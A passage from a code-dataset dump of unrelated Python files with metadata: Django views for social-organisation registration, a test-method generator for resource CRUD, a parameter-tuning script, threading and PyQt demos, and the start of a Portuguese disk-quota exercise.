__init__(self,): \n\t\tself.name = \"MAINSTREAM\"\n\t\tself.definitions = [u'considered normal, and having or using ideas, beliefs, etc. that are accepted by most people: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_mainstream.py","file_name":"_mainstream.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"201856450","text":"isEven = lambda x : x%2==0 \r\ndef then(f, g):\r\n return lambda x : g(f(x)) \r\nincr = lambda x : x+1 \r\nincreven = then( incr, then( incr, isEven ))\r\na = 6\r\nres = increven(a)\r\nincrDecrEven = then( incr , then( lambda x : x-1 , isEven ))\r\nres2 = incrDecrEven(a)\r\nprint()","sub_path":"CH6/BA/BA3.py","file_name":"BA3.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"652739124","text":"# -*- coding: utf-8 -*-\n\"\"\"!\nVista que controla los procesos de las organizaciones sociales\n\n@author Ing. Leonel P. Hernandez M. (lhernandez at cenditel.gob.ve)\n@copyright GNU Public License versión 2 (GPLv2)\n@date 27-07-2017\n@version 1.0.0\n\"\"\"\n\nfrom users.models import *\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import (\n LoginRequiredMixin\n)\nfrom django.contrib.admin.models import LogEntry, ADDITION, CHANGE, DELETION\nfrom django.contrib.auth.models import (\n Group, User\n)\nfrom django.core.urlresolvers import (\n reverse_lazy, reverse\n)\nfrom django.shortcuts import (\n render, redirect, get_object_or_404\n)\nfrom django.views.generic.base import RedirectView\nfrom django.views.generic import (\n TemplateView\n)\nfrom django.views.generic.edit import (\n FormView, UpdateView\n)\n\nfrom .forms import *\n\n#from .forms import (\n# FormularioRegisterOrgSocial, FormsetVocero\n#)\nfrom multi_form_view import MultiModelFormView\n\nfrom .models import (\n OrganizacionSocial, Vocero\n)\n\nfrom utils.views import LoginRequeridoPerAuth\n\nclass RegisterOrgView(LoginRequeridoPerAuth, MultiModelFormView):\n \"\"\"!\n Muestra el formulario de registro de la organizacion social\n\n @author Ing. Leonel P. Hernandez M. (lhernandez at cenditel.gob.ve)\n @copyright GNU Public License versión 2 (GPLv2)\n @date 27-07-2017\n @version 1.0.0\n \"\"\"\n template_name = \"organizacion.register.html\"\n form_classes = {\n 'organizacion_social': FormularioRegisterOrgSocial,\n 'voceros': FormsetVocero,\n }\n #success_url = reverse_lazy('utils:inicio')\n success_url = reverse_lazy('organizaciones:registrar_organizacion')\n record_id = None\n group_required = [u\"Administradores\"]\n\n def get_objects(self):\n self.record_id = self.kwargs.get('record_id', None)\n try:\n record = Vocero.objects.select_related().get(fk_org_social=self.record_id)\n except Vocero.DoesNotExist:\n record = None\n return {\n 'voceros': record,\n 'organizacion_social': record.fk_org_social if record else None,\n }\n\n def forms_valid(self, forms, **kwargs):\n \"\"\"\n Valida el formulario de registro del perfil de usuario\n @return: Dirige con un mensaje de exito a el home\n \"\"\"\n nueva_organizacion = forms['organizacion_social'].save()\n nuevos_voceros = self.form_classes['voceros'](self.request.POST, instance=nueva_organizacion)\n if nuevos_voceros.is_valid():\n nuevos_voceros.save()\n messages.success(self.request, \"El Usuario %s registro con exito la \\\n Organizacion Social %s\"\n % (str(self.request.user), str(nueva_organizacion.nombre)))\n return redirect(self.success_url)\n\n def forms_invalid(self, forms, **kwargs):\n messages.error(self.request, \"%s\" % (str(forms['organizacion_social'].errors.as_data())))\n\n return super(RegisterOrgView, self).forms_invalid(forms)\n\n\nclass ListOrgView(LoginRequeridoPerAuth, TemplateView):\n \"\"\"!\n Listar organizaciones de la plataforma por los Administradores\n\n @author Ing. Leonel P. Hernandez M. (lhernandez at cenditel.gob.ve)\n @copyright GNU Public License versión 2 (GPLv2)\n @date 30-05-2017\n @version 1.0.0\n \"\"\"\n template_name = \"organizacion.register.html\"\n model = OrganizacionSocial\n success_url = reverse_lazy('organizaciones:registrar_organizacion')\n group_required = [u\"Administradores\"]\n\n def __init__(self):\n super(ListOrgView, self).__init__()\n\n def post(self, *args, **kwargs):\n '''\n Cambia el estado activo a el usuario\n @return: Dirige a la tabla que muestra los usuarios de la apliacion\n '''\n accion = self.request.POST\n activar = accion.get('activar', None)\n inactivar = accion.get('inactivar', None)\n estado = False\n\n if activar is not None:\n org = activar\n estado = True\n elif inactivar is not None:\n org = inactivar\n estado = False\n else:\n messages.error(self.request, \"Esta intentando hacer \\\n una acción incorrecta\")\n try:\n org_act = self.model.objects.get(pk=org)\n org_act.activa = estado\n org_act.save()\n if estado:\n messages.success(self.request, \"Se ha activado \\\n la organizacion: %s\\\n \" % (str(org_act)))\n else:\n messages.warning(self.request, \"Se ha inactivado \\\n la organizacion: %s\\\n \" % (str(org_act)))\n except:\n messages.info(self.request, \"La organizacion social no existe\")\n return redirect(self.success_url)\n\nclass ListOrgVocView(LoginRequeridoPerAuth, TemplateView):\n \"\"\"!\n Listar organizaciones de la plataforma\n\n @author Ing. Leonel P. Hernandez M. (lhernandez at cenditel.gob.ve)\n @copyright GNU Public License versión 2 (GPLv2)\n @date 30-05-2017\n @version 1.0.0\n \"\"\"\n template_name = \"organizaciones.list.html\"\n model = OrganizacionSocial\n success_url = reverse_lazy('organizaciones:listar_organizacion')\n group_required = [u\"Administradores\", u\"Voceros\"]\n\n def __init__(self):\n super(ListOrgVocView, self).__init__()\n\n def post(self, *args, **kwargs):\n '''\n Cambia el estado activo a el usuario\n @return: Dirige a la tabla que muestra los usuarios de la apliacion\n '''\n accion = self.request.POST\n activar = accion.get('activar', None)\n inactivar = accion.get('inactivar', None)\n estado = False\n\n if activar is not None:\n org = activar\n estado = True\n elif inactivar is not None:\n org = inactivar\n estado = False\n else:\n messages.error(self.request, \"Esta intentando hacer \\\n una acción incorrecta\")\n try:\n org_act = self.model.objects.get(pk=org)\n org_act.activa = estado\n org_act.save()\n if estado:\n messages.success(self.request, \"Se ha activado \\\n la organizacion: %s\\\n \" % (str(org_act)))\n else:\n messages.warning(self.request, \"Se ha inactivado \\\n la organizacion: %s\\\n \" % (str(org_act)))\n except:\n messages.info(self.request, \"La organizacion social no existe\")\n return redirect(self.success_url)\n\nclass ModificarOrg(LoginRequeridoPerAuth, MultiModelFormView):\n \"\"\"!\n Construye el modals para la actualizacion de la Organización\n\n @author Ing. Lully Troconis (ltroconis at cenditel.gob.ve)\n @copyright GNU Public License versión 2 (GPLv2)\n @date 31-01-2018\n @version 1.0.0\n \"\"\"\n\n model = OrganizacionSocial\n form_classes = {\n 'organizaciones' : FormularioRegisterOrgSocial,\n }\n template_name = 'organizaciones.modificar.org.html'\n success_url = reverse_lazy('organizaciones:listar_org')\n group_required = [u\"Administradores\", u\"Voceros\"]\n record_id = None\n\n def get_context_data(self, **kwargs):\n \"\"\"\n Carga el formulario en la vista, para registrar usuarios\n @return: El contexto con los objectos para la vista\n \"\"\"\n context = super(ModificarOrg, self).get_context_data(**kwargs)\n self.record_id = self.kwargs.get('pk', None)\n if self.record_id is not None:\n try:\n organizacion = OrganizacionSocial.objects.get(pk=self.record_id)\n self.form_classes['organizaciones'](instance=organizacion)\n except:\n organizacion = organizacion\n\n context['upOrg'] = organizacion\n return context\n\n def get_objects(self, **kwargs):\n \"\"\"\n Carga el formulario en la vista,para actualizar el perfil del usuario\n @return: El contexto con los objectos para la vista\n \"\"\"\n self.record_id = self.kwargs.get('pk', None)\n try:\n record = self.model.objects.select_related().get(pk=self.record_id)\n except OrganizacionSocial.DoesNotExist:\n record = record\n print (record)\n return {\n 'organizaciones': record}\n\n def get_success_url(self):\n return reverse('organizaciones:listar_org')\n\n def forms_valid(self, forms, **kwargs):\n \"\"\"\n Valida el formulario de registro del perfil de usuario\n @return: Dirige con un mensaje de éxito a el home\n \"\"\"\n self.record_id = self.kwargs.get('pk', None)\n objeto = get_object_or_404(OrganizacionSocial, pk=self.record_id)\n print(record_id)\n if self.record_id is not None:\n messages.success(self.request, \"Organización Comunal %s Actualizada con éxito\\\n \" % (str(objeto.nombre)))\n return super(ModificarOrg, self).forms_valid(forms)\n","sub_path":"organizaciones/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"351662274","text":"import subprocess\nimport sys\nimport os.path\nimport random\nimport time\n\nworkfile=\"work.txt\"\ntmpfile=\"tmp.txt\"\nbestfile=\"best.txt\"\n\ndef make_tmp_file():\n if os.path.exists(tmpfile):\n os.remove(tmpfile)\n with open(tmpfile,\"w\") as f:\n width=[\\\n [10,500],\\\n [500,2000],\\\n [1,200],\\\n [1,30],\\\n [1,30],\\\n [1,30],\\\n ]\n for i in range(6):\n for j in range(3):\n num=random.randint(width[i][0],width[i][1])\n f.write(str(num)+\"\\n\")\n\ndef make_best_file():\n subprocess.run([\"cp\",bestfile,bestfile+str(time.time())+\".txt\"])\n subprocess.run([\"cp\",\"-f\",tmpfile,bestfile])\n\ndef get_score():\n res = subprocess.run(\"./a.out\", stdout=subprocess.PIPE)\n return int(res.stdout)\n\ndef act_tmp_file():\n subprocess.run([\"cp\",\"-f\",tmpfile,workfile])\n return get_score()\n\ndef act_bench_mark():\n subprocess.run([\"cp\",\"-f\",bestfile,workfile])\n return get_score()\n\nif __name__==\"__main__\":\n i=0\n while(True):\n make_tmp_file()\n score=0\n bestScore=0\n for j in range(5):\n subprocess.run([\"python3\",\"make_sample.py\"])\n score += act_tmp_file()\n bestScore += act_bench_mark()\n print(\"try \"+str(i+1)+\" : best score is\"+str(bestScore//5)+\" now is \"+str(score//5))\n if score>bestScore:\n make_best_file()\n bestScore=score\n i+=1\n","sub_path":"atcoder/event/httf/actor_httf.py","file_name":"actor_httf.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"376571302","text":"'''\n\n线程join\n'''\n\n\nimport threading\n\n\ndef action(max):\n\n for i in range(max):\n print(threading.current_thread().name + ' ' +str(i))\n\n\n\n#启动子线程\n\nthreading.Thread(target=action,args=(100,),name='新线程').start()\n\n\n\nfor i in range(100):\n\n if i == 20:\n jt = threading.Thread(target=action, args=(100,), name=\"joined thread\")\n jt.start()\n # 主线程调用了jt线程的join()方法，主线程\n # 必须等jt执行结束才会向下执行\n\n jt.join()\n\n print(threading.current_thread().name + \" \" + str(i))\n\n\n\n","sub_path":"duothread/my_thread05.py","file_name":"my_thread05.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"333140035","text":"#!/usr/bin/env python\n\n\"\"\"\n@file ion/services/sa/resource_impl/resource_impl_metatest_integration.py\n@author Ian Katz\n\n\"\"\"\nimport hashlib\n\nfrom pyon.core.bootstrap import IonObject\nfrom pyon.core.exception import BadRequest, NotFound, Inconsistent\n\nfrom ion.services.sa.resource_impl.resource_impl_metatest import ResourceImplMetatest\n\nfrom pyon.util.log import log\n\nclass ResourceImplMetatestIntegration(ResourceImplMetatest):\n \"\"\"\n This function adds integration test methods for CRUD and associations in the given \n resource impl class.\n\n For example, OUTSIDE and AFTER the TestInstrumentManagement class, write this:\n\n rimi = ResourceImplMetatestIntegration(TestInstrumentManagement,\n InstrumentManagementService,\n log)\n\n rimi.add_resource_impl_inttests(InstrumentAgentInstanceImpl,\n {\"exchange_name\": \"rhubarb\"}\n\n The impl object MUST be available as a class variable in the service under test!\n\n \"\"\"\n\n def __init__(self, resource_tester_class, service_under_test_class, log):\n \"\"\"\n @param resource_tester_class the class that will perform the setup/ testing\n @param service_under_test_class the class of the service that's being tested\n @param log the log object \n \"\"\"\n ResourceImplMetatest.__init__(self, resource_tester_class, service_under_test_class, log)\n\n self.all_in_one = False\n\n\n\n def test_all_in_one(self, yes):\n \"\"\"\n @param yes whether to run int tests all in one\n \"\"\"\n self.all_in_one = yes\n\n \n def add_resource_impl_inttests(self,\n resource_impl_class, \n resource_params={}):\n \"\"\"\n Add tests for the resorce_impl_class to the (self.)resource_tester_class\n\n @param resource_impl_class the class of the resource impl you want tested\n @param resource_params dictionary of extra params to add to the sample resource\n\n this function will be huge. it is a list of smaller functions that are templates\n for tests of various resource_impl class functionality. the functions are given\n proper references to member variables in the service and test class, then injected\n into the test class itself.\n \n \"\"\"\n # create a impl class, no clients\n impl_instance = resource_impl_class([])\n\n self.build_test_descriptors(resource_params)\n\n impl_attr = self.find_impl_attribute(impl_instance)\n\n #this is convoluted but it helps me debug by \n # being able to inject text into the sample_resource_extras\n sample_resource = self.sample_resource_factory(impl_instance, resource_params)\n\n all_in_one = self.all_in_one\n\n service_type = type(self.service_instance)\n\n def add_new_method(name, docstring, newmethod):\n \"\"\"\n dynamically add a new method to the tester class\n @param name the name of the new method\n @param docstring a description of the test\n @newmethod the function itself\n \"\"\"\n newmethod.__name__ = name\n newmethod.__doc__ = docstring\n setattr(self.tester_class, newmethod.__name__, newmethod)\n\n def add_test_method(name, docstring, newmethod):\n \"\"\"\n dynamically add a test method to the tester class\n @param name the name of the test function (minus the \"test_\" part)\n @param docstring a description of the test\n @newmethod the function itself\n \"\"\"\n add_new_method(\"test_%s\" % name, docstring, newmethod)\n\n def make_name(name):\n \"\"\"\n make a good name for a test from the resource name and an md5 of extra params\n @param name the base string for the name\n \"\"\"\n return \"int_%s_%s%s\" % (impl_instance.iontype, name, self.sample_resource_md5)\n \n def make_doc(doc):\n \"\"\"\n make a good doc string for a test from by including the extra params\n @param doc the base string for the descripton\n \"\"\"\n return \"Integration: %s %s\" % (doc, self.sample_resource_extras)\n\n \n def gen_svc_lookup():\n \"\"\"\n put a new method in the tester class to\n determine which class variable in the tester class is the service being tested\n \"\"\"\n def fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n if not hasattr(self, \"_rimi_service_obj\"):\n\n # get service from container proc manager\n relevant_services = [\n item[1] for item in self.container.proc_manager.procs.items() \n if type(item[1]) == service_type\n ]\n\n assert (0 < len(relevant_services)), \\\n \"no services of type '%s' found running in container!\" % service_type\n \n\n service_itself = relevant_services[0]\n self._rimi_service_obj = service_itself\n assert(self._rimi_service_obj)\n\n return self._rimi_service_obj\n\n if not hasattr(self.tester_class, \"_rimi_getservice\"): \n add_new_method(\"_rimi_getservice\", \"Finds the embedded service\", fun)\n\n\n\n # TEST CASES GO BELOW HERE\n\n\n def test_create_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n good_sample_resource = sample_resource()\n\n sample_resource_id = myimpl.create_one(good_sample_resource)\n \n log.debug(\"got resource id: %s\" % sample_resource_id)\n\n if all_in_one: myimpl.delete_one(sample_resource_id)\n\n\n def gen_test_create():\n \"\"\"\n generate the function to test the create\n \"\"\"\n name = make_name(\"resource_impl_create\")\n doc = make_doc(\"Creation of a new %s resource\" % impl_instance.iontype)\n add_test_method(name, doc, test_create_fun)\n\n\n\n def test_create_bad_noname_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n bad_sample_resource = sample_resource()\n delattr(bad_sample_resource, \"name\")\n\n\n self.assertRaises(BadRequest, myimpl.create_one, bad_sample_resource)\n\n\n def gen_test_create_bad_noname():\n \"\"\"\n generate the function to test the create in a bad case\n \"\"\"\n name = make_name(\"resource_impl_create_bad_noname\")\n doc = make_doc(\"Creation of a (bad) new %s resource (no name)\" % impl_instance.iontype)\n add_test_method(name, doc, test_create_bad_noname_fun)\n\n\n\n def test_create_bad_dupname_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # prep and put objects\n good_sample_resource = sample_resource()\n\n #insert 2\n sample_resource_id = myimpl.create_one(good_sample_resource)\n self.assertRaises(BadRequest, myimpl.create_one, good_sample_resource)\n\n if all_in_one: myimpl.delete_one(sample_resource_id)\n\n\n def gen_test_create_bad_dupname():\n \"\"\"\n generate the function to test the create in a bad case where the name already exists\n \"\"\"\n\n name = make_name(\"resource_impl_create_bad_dupname\")\n doc = make_doc(\"Creation of a (bad) new %s resource (duplicate name)\" % impl_instance.iontype)\n add_test_method(name, doc, test_create_bad_dupname_fun)\n\n\n def test_create_bad_has_id_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n bad_sample_resource = sample_resource()\n setattr(bad_sample_resource, \"_id\", \"12345\")\n\n self.assertRaises(BadRequest, myimpl.create_one, bad_sample_resource)\n\n\n\n def gen_test_create_bad_has_id():\n \"\"\"\n generate the function to test the create in a bad case\n \"\"\"\n\n name = make_name(\"resource_impl_create_bad_has_id\")\n doc = make_doc(\"Creation of a (bad) new %s resource (has _id)\" % impl_instance.iontype)\n\n add_test_method(name, doc, test_create_bad_has_id_fun)\n\n\n\n def test_read_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # put in an object\n sample_resource_id = myimpl.create_one(sample_resource())\n\n returned_resource = myimpl.read_one(sample_resource_id)\n\n #won't work because of changes in _rev and lcstate\n #self.assertDictEqual(returned_resource.__dict__,\n # sample_resource().__dict__)\n\n self.assertEqual(returned_resource._id,\n sample_resource_id)\n\n if all_in_one: myimpl.delete_one(sample_resource_id)\n\n def gen_test_read():\n \"\"\"\n generate the function to test the read\n \"\"\"\n \n name = make_name(\"resource_impl_read\")\n doc = make_doc(\"Reading a %s resource\" % impl_instance.iontype)\n add_test_method(name, doc, test_read_fun)\n\n\n\n def test_read_notfound_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n self.assertRaises(NotFound, myimpl.read_one, \"0000\")\n\n\n def gen_test_read_notfound():\n \"\"\"\n generate the function to test the read in a not-found case\n \"\"\"\n \n name = make_name(\"resource_impl_read_notfound\")\n doc = make_doc(\"Reading a %s resource that doesn't exist\" % impl_instance.iontype)\n add_test_method(name, doc, test_read_notfound_fun)\n\n\n\n def test_update_samename_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # prep and put objects\n good_sample_resource = sample_resource()\n res_id = myimpl.create_one(good_sample_resource)\n\n # read and change\n good_sample_duplicate = myimpl.read_one(res_id)\n myimpl.update_one(good_sample_duplicate)\n\n # verify change\n good_sample_triplicate = myimpl.read_one(res_id)\n self.assertEqual(good_sample_duplicate.name, good_sample_triplicate.name)\n\n if all_in_one: myimpl.delete_one(res_id)\n\n def gen_test_update_samename():\n \"\"\"\n generate the function to test the update, but use the same name\n \"\"\"\n name = make_name(\"resource_impl_update_samename\")\n doc = make_doc(\"Updating a %s resource keeping name the same\" % impl_instance.iontype)\n add_test_method(name, doc, test_update_samename_fun)\n\n\n\n def test_update_differentname_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # prep and put objects\n good_sample_resource = sample_resource()\n res_id = myimpl.create_one(good_sample_resource)\n\n # read and change\n good_sample_duplicate = myimpl.read_one(res_id)\n newname = \"updated %s\" % good_sample_duplicate.name\n good_sample_duplicate.name = newname\n myimpl.update_one(good_sample_duplicate)\n\n # verify change\n good_sample_triplicate = myimpl.read_one(res_id)\n self.assertEqual(newname, good_sample_triplicate.name)\n\n if all_in_one: myimpl.delete_one(res_id)\n\n\n def gen_test_update_differentname():\n \"\"\"\n generate the function to test the update, use a new name\n \"\"\"\n name = make_name(\"resource_impl_update_differentname\")\n doc = make_doc(\"Updating a %s resource to have a different name\" % impl_instance.iontype)\n add_test_method(name, doc, test_update_differentname_fun)\n\n\n def test_update_bad_noid_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n bad_sample_resource = sample_resource()\n\n self.assertRaises(BadRequest, myimpl.update_one, bad_sample_resource)\n\n\n def gen_test_update_bad_noid():\n \"\"\"\n generate the function to test the create\n \"\"\"\n name = make_name(\"resource_impl_update_bad_no_id\")\n doc = make_doc(\"Updating a %s resource without an ID\" % impl_instance.iontype)\n add_test_method(name, doc, test_update_bad_noid_fun)\n\n\n def test_update_bad_dupname_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # prep and put objects\n good_sample_resource = sample_resource()\n good_sample_duplicate = sample_resource()\n\n oldname = good_sample_resource.name\n good_sample_duplicate.name = \"DEFINITELY NOT A DUPLICATE\"\n\n res_id = myimpl.create_one(good_sample_resource)\n dup_id = myimpl.create_one(good_sample_duplicate)\n\n good_sample_duplicate = myimpl.read_one(dup_id)\n good_sample_duplicate.name = oldname\n\n self.assertRaises(BadRequest, myimpl.update_one, good_sample_duplicate)\n \n if all_in_one: \n myimpl.delete_one(res_id)\n myimpl.delete_one(dup_id)\n\n\n\n def gen_test_update_bad_dupname():\n \"\"\"\n generate the function to test the create\n \"\"\"\n name = make_name(\"resource_impl_update_bad_duplicate\")\n doc = make_doc(\"Updating a %s resource to a duplicate name\" % impl_instance.iontype)\n add_test_method(name, doc, test_update_bad_dupname_fun)\n\n\n def test_delete_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # put in an object\n sample_resource_id = myimpl.create_one(sample_resource())\n\n log.debug(\"Attempting to delete newly created object with id=%s\" % \n sample_resource_id)\n\n #delete\n myimpl.delete_one(sample_resource_id)\n\n # verify delete\n self.assertRaises(NotFound, myimpl.delete_one, sample_resource_id)\n\n\n def gen_test_delete():\n \"\"\"\n generate the function to test the delete\n \"\"\"\n name = make_name(\"resource_impl_delete\")\n doc = make_doc(\"Deleting a %s resource\" % impl_instance.iontype)\n add_test_method(name, doc, test_delete_fun)\n\n\n def test_delete_notfound_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n self.assertRaises(NotFound, myimpl.delete_one, \"111\")\n\n\n def gen_test_delete_notfound():\n \"\"\"\n generate the function to test the delete in a not-found case\n \"\"\"\n name = make_name(\"resource_impl_delete_notfound\")\n doc = make_doc(\"Deleting a %s resource that doesn't exist\" % impl_instance.iontype)\n add_test_method(name, doc, test_delete_notfound_fun)\n\n\n def test_find_fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n # get objects\n svc = self._rimi_getservice()\n myimpl = getattr(svc, impl_attr) \n\n # put in 2 objects\n sr = sample_resource()\n sample_resource_id = myimpl.create_one(sr)\n\n sr2 = sample_resource()\n sr2.name = \"NOT A DUPE\"\n sample_resource_id2 = myimpl.create_one(sr2)\n\n resources = myimpl.find_some({})\n self.assertIsInstance(resources, list)\n self.assertNotEqual(0, len(resources))\n self.assertNotEqual(1, len(resources))\n\n resource_ids = []\n for r in resources:\n if not \"_id\" in r:\n raise Inconsistent(\"'_id' field not found in resource! got: %s\" % str(r))\n resource_ids.append(r._id)\n self.assertIn(sample_resource_id, resource_ids)\n self.assertIn(sample_resource_id2, resource_ids)\n\n if all_in_one: \n myimpl.delete_one(sample_resource_id)\n myimpl.delete_one(sample_resource_id2)\n\n\n\n def gen_test_find():\n \"\"\"\n generate the function to test the find op\n \"\"\"\n name = make_name(\"resource_impl_find\")\n doc = make_doc(\"Finding (all) %s resources\" % impl_instance.iontype)\n add_test_method(name, doc, test_find_fun)\n\n\n def gen_test_allinone():\n \"\"\"\n generate the function to test EVERYTHING at once\n \"\"\"\n def fun(self):\n \"\"\"\n self is an instance of the tester class\n \"\"\"\n test_create_fun(self)\n test_create_bad_noname_fun(self)\n test_create_bad_dupname_fun(self)\n test_create_bad_has_id_fun(self)\n test_read_fun(self)\n test_read_notfound_fun(self)\n test_update_samename_fun(self)\n test_update_differentname_fun(self)\n test_update_bad_noid_fun(self)\n test_update_bad_dupname_fun(self)\n test_delete_fun(self)\n test_delete_notfound_fun(self)\n test_find_fun(self)\n\n name = make_name(\"resource_impl_allinone\")\n doc = make_doc(\"Performing all CRUD tests on %s resources\" % impl_instance.iontype)\n add_test_method(name, doc, fun)\n\n # can you believe we're still within a single function?\n\n # add the service lookup function\n gen_svc_lookup()\n\n\n # add each method to the tester class\n if self.all_in_one:\n gen_test_allinone()\n else:\n gen_test_create()\n gen_test_create_bad_noname()\n gen_test_create_bad_dupname()\n gen_test_create_bad_has_id()\n gen_test_read()\n gen_test_read_notfound()\n gen_test_update_samename()\n gen_test_update_differentname()\n gen_test_update_bad_noid()\n gen_test_update_bad_dupname()\n gen_test_delete()\n gen_test_delete_notfound()\n gen_test_find()\n\n","sub_path":"ion/services/sa/resource_impl/resource_impl_metatest_integration.py","file_name":"resource_impl_metatest_integration.py","file_ext":"py","file_size_in_byte":20346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"211501191","text":"\"\"\"\nAuthenticationChain processor\n\"\"\"\n\n__author__ = 'VMware, Inc.'\n__copyright__ = 'Copyright 2015 VMware, Inc. All rights reserved. -- VMware Confidential' # pylint: disable=line-too-long\n\n\nclass AuthenticationChain(object):\n \"\"\"\n Implementations of this interface are used to chain authentication when\n there is intermediary between the client and the server i.e. an\n aggregator node.\n \"\"\"\n\n def next_context(self, ctx):\n \"\"\"\n Returns the next security context based on the current context\n\n :type ctx: :class:`vmware.vapi.core.SecurityContext`\n :param ctx: Current security context\n :rtype: :class:`vmware.vapi.core.SecurityContext`\n :return: Next security context\n \"\"\"\n raise NotImplementedError\n","sub_path":"alexa-program/vmware/vapi/security/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"530958560","text":"#!/usr/bin/env python3\n\nimport os\n\nfiles=os.listdir('/tmp/hyb')\n\nfor filename in files:\n portion = os.path.splitext(filename)\n if portion[1] == \".txt\":\n newname = portion[0] + \".sh\"\n os.rename(filename, newname)\n","sub_path":"file-3.py","file_name":"file-3.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"153985206","text":"import sys\nfrom PyQt5.QtWidgets import (QWidget, QApplication,\n QHBoxLayout, QLabel)\nfrom PyQt5.QtGui import QPixmap\n\n\nclass Example(QWidget):\n def __init__(self):\n super().__init__()\n\n hbox = QHBoxLayout(self)\n pixsel = QPixmap('DotA2.jpg')\n\n lbl = QLabel(self)\n lbl.setPixmap(pixsel)\n\n hbox.addWidget(lbl)\n self.setLayout(hbox)\n\n self.setGeometry(400, 400, 600, 300)\n self.setWindowTitle('Dota 2')\n self.show()\n\n\napp = QApplication(sys.argv)\nex = Example()\nsys.exit(app.exec_())","sub_path":"Widgets II/pixmap.py","file_name":"pixmap.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"369363944","text":"#%% 01 - Espaços\n\n\"\"\"\n1. Controle de cotas de disco. A ACME Inc., uma organização com mais de \n1500 funcionários, está tendo problemas de espaço em disco no seu \nservidor de arquivos. Para tentar resolver este problema, o Administrador \nde Rede precisa saber qual o espaço em disco ocupado pelas contas dos \nusuários, e identificar os usuários com maior espaço ocupado. Através\nde um aplicativo baixado da Internet, ele conseguiu gerar o seguinte \narquivo, chamado “usuarios.txt“:\n\n\nalexandre 456123789\nanderson 1245698456\nantonio 123456456\ncarlos 91257581\ncesar 987458\nrosemary 789456125\nNeste arquivo, o primeiro campo corresponde ao login do usuário e o \nsegundo ao espaço em disco ocupado pelo seu diretório home. A partir \ndeste arquivo, você deve criar um programa que gere um relatório, \nchamado “relatório.txt”, no seguinte formato:\n\n\nACME Inc. Uso do espaço em disco pelos usuários\n------------------------------------------------------------------------\nNr. Usuário Espaço utilizado % do uso\n\n1 alexandre 434,99 MB 16,85%\n2 anderson 1187,99 MB 46,02%\n3 antonio 117,73 MB 4,56%\n4 carlos 87,03 MB 3,37%\n5 cesar 0,94 MB 0,04%\n6 rosemary 752,88 MB 29,16%\n\nEspaço total ocupado: 2581,57 MB\nEspaço médio ocupado: 430,26 MB\nO arquivo de entrada deve ser lido uma única vez, e os dados armazenados \nem memória, caso sejam necessários, de forma a agilizar a execução do \nprograma. A conversão da espaço ocupado em disco, de bytes para megabytes \ndeverá ser feita através de uma função separada, que será chamada pelo \nprograma principal. O cálculo do percentual de uso também deverá ser \nfeito através de uma função, que será chamada pelo programa principal.\n\nRecursos adicionais: opcionalmente, desenvolva as seguintes \nfuncionalidades:\n\nOrdenar os usuários pelo percentual de espaço ocupado;\n\nMostrar apenas os n primeiros em uso, definido pelo usuário;\n\nGerar a saída numa página html;\n\nCriar o programa que lê as pastas e gera o arquivo inicial;\n\"\"\"\n\nlista_de_dados = []\n\ndef transformar_em_MB(tamanho: str) -> float:\n return 